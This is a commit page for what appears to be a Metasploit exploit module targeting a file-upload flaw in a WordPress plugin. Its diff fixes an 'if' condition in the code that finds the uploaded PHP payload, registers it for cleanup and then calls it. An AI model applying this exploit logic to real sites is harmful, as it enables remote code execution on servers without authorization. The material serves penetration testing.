Skip to content

Commit 95310db

Browse files
committed
Fix 'if' condition.
1 parent 626a9f0 commit 95310db

File tree

1 file changed

+12
-8
lines changed

1 file changed

+12
-8
lines changed

modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -58,16 +58,20 @@ def exploit
5858
'data' => post_data
5959
})
6060

61-
if res && res.code == 200 && res.body =~ /filename/
62-
begin
63-
new_php_pagename = JSON.parse(res.body)["filename"]
64-
rescue JSON::ParserError
65-
new_php_pagename = ''
61+
if res
62+
if res.code == 200 && res.body =~ /filename/
63+
begin
64+
new_php_pagename = JSON.parse(res.body)["filename"]
65+
rescue JSON::ParserError
66+
new_php_pagename = ''
67+
end
68+
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
69+
register_files_for_cleanup(new_php_pagename)
70+
else
71+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
6672
end
67-
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
68-
register_files_for_cleanup(new_php_pagename)
6973
else
70-
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
74+
fail_with('ERROR')
7175
end
7276

7377
print_status("#{peer} - Calling payload...")

0 commit comments

Comments
 (0)